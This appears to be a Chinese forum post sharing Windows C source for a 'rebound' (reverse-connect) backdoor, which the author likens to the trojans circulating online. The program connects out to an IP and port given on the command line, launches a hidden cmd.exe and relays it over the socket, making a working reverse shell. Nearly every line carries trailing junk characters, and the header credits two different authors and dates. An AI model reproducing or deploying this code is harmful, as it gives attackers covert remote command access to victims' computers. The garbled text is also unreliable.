这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zb
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/* ============================== .ol'.t,S
Rebound port in Windows NT 7 +@qB]Bi<
By wind,2006/7 2{.QjYw^
===============================*/ }AvcoD/b
#include n7YEG-J
#include (x$9~;<S*d
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#pragma comment(lib,"wsock32.lib") }O4se"xK
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void OutputShell(); ?`Y\)'}
SOCKET sClient; J!*/a'Cv
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LR,7,DH$9'
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void main(int argc,char **argv) DK&h
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{ }V|{lvt.
WSADATA stWsaData; 45H!;Qsk
int nRet; `j9$T:`
SOCKADDR_IN stSaiClient,stSaiServer; vkRi5!bR
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if(argc != 3) 5')8r';,
{ *$M'`vj:
printf("Useage:\n\rRebound DestIP DestPort\n"); 2qO3XI
return; T=YzJyQC)
} j` /&r*zNq
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WSAStartup(MAKEWORD(2,2),&stWsaData); /+3a n9h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~/tKMS6T
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stSaiClient.sin_family = AF_INET; Pu>N_^ C
stSaiClient.sin_port = htons(0); {hO`6mr&t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FCc=e{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AP\ofLmq
{ m!OMrZ%)}
printf("Bind Socket Failed!\n"); J:F^
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return; 7CB#YP?E
} jec:i-,
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stSaiServer.sin_family = AF_INET; xqHL+W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XDD<oo
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !1uzX
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fj'jNE
{ ]wuy_+$
printf("Connect Error!"); 4o9$bv
return; DjW$?>
} G(1 K9{i$
OutputShell(); P l{QOR
} swpnuuC-
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void OutputShell() 5`E))?*"Pe
{ }1%r%TikY
char szBuff[1024]; u=qPzmywt
SECURITY_ATTRIBUTES stSecurityAttributes; 3#<*k>1G?
OSVERSIONINFO stOsversionInfo; j:1uP^.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o VB"f
STARTUPINFO stStartupInfo; i.rU&yT%
char *szShell; V_L[P9
PROCESS_INFORMATION stProcessInformation; N)43};e
unsigned long lBytesRead; w&lZ42(mF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J^I7BsZ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :J(sXKr[C
stSecurityAttributes.lpSecurityDescriptor = 0; < `Z%O<X
stSecurityAttributes.bInheritHandle = TRUE; mPmB6q%)]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FpkXOj?*
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {~GR8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wR7aQg
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KP~-$NR
stStartupInfo.wShowWindow = SW_HIDE; 9!t4>
stStartupInfo.hStdInput = hReadPipe; cztS]dcf>~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X7e/:._SAH
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GetVersionEx(&stOsversionInfo); &LU'.jY
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switch(stOsversionInfo.dwPlatformId) cTj~lO6
{ w<d*#$[,*
case 1: O:u%7V/
szShell = "command.com"; YkbO&~.
break; HtzMDGV<
default: R|t;p!T
szShell = "cmd.exe"; ,35Ag#va
break; fSV5
} 3zb)"\(R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Cj$H[K}>
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send(sClient,szMsg,77,0); ]hUKuef
while(1) B,0+HoP
{ ;xW{Ehq-h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fm6]CU1^
if(lBytesRead) 3"B+xbe=
{ HWR&C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w)<4>(D
send(sClient,szBuff,lBytesRead,0); 7z>+w
} g*r/u;
else 36i_D6
{ u-M] Az-
lBytesRead=recv(sClient,szBuff,1024,0); Fc{((x s
if(lBytesRead<=0) break; sbjtL,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n +dJc
} a^*B5G1(&
} 165WO}(;/
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return; \#_@qHAG
}